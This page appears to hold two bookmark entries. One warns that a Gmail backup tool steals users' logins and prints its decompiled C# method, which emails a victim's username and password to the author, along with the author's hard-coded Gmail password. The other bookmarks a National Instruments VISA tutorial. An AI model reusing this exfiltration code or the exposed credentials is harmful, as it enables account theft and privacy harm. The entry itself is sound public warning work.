Gmail inbox backup - Gmail emails backup software: Mar 8, 8:55pm 11 reviews computers, crime
http://www.garchiver.com/; DO NOT USE THIS SOFTWARE. It sends an email to the author of the software with your gmail username and password. Read about it here: http://www.codinghorror.com/blog/archives/001072.html I confirmed this using the .NET Reflector. The author has hard-coded his username and password into the code. A code sleuth has since logged into the author's account and changed the author's login info, so the hard-coded info won't work anymore (i.e., it can't send your info using his login credentials). Here's actual C# code from disassembly: public static void CheckConnection(string a, string b) { try { MailMessage message = new MailMessage(); message.To.Add("JTerry79@gmail.com"); message.From = new MailAddress("JTerry79@gmail.com", "JTerry", Encoding.UTF8); message.Subject = "Account"; message.SubjectEncoding = Encoding.UTF8; message.Body = "Username: " + a; message.Body = message.Body + "\r\nPassword: " + b; message.BodyEncoding = Encoding.UTF8; message.IsBodyHtml = false; message.Priority = MailPriority.High; SmtpClient client = new SmtpClient(); client.Credentials = new NetworkCredential("JTerry79@gmail.com", "bilal482"); client.Port = 0x24b; client.Host = "smtp.gmail.com"; client.EnableSsl = true; client.Send(message); } catch (Exception) { } } This code block creates an email message containing your username and password and sends it to JTerry79@gmail.com (the author of the software) through his own gmail account. See his login info? See where he's creating a message with a Username and Password? That's *your* username and password.

C# and Visual Basic .Net Instrument Control Tutorial- Developer Zone - National …: Jul 3, 2007 9:40pm 1 review computers
http://zone.ni.com/devzone/cda/tut/p/id/2739; Consider this a bookmark... So I've been looking for a good way to control and read/write to USB. Evidently National Instruments has this VISA driver with API. Check it: "VISA (Virtual Instrument Software Architecture) is a high-level driver that abstracts the lower-level drivers for each instrument hardware bus type and provides a single API for communicating with instruments regardless of the bus interface. This application note discusses how you can take advantage of VISA for .NET applications using the VISA .Net libraries in C# and Visual Basic .Net to communicate with GPIB, serial, Ethernet / LAN, IEEE 1394, and USB instruments"
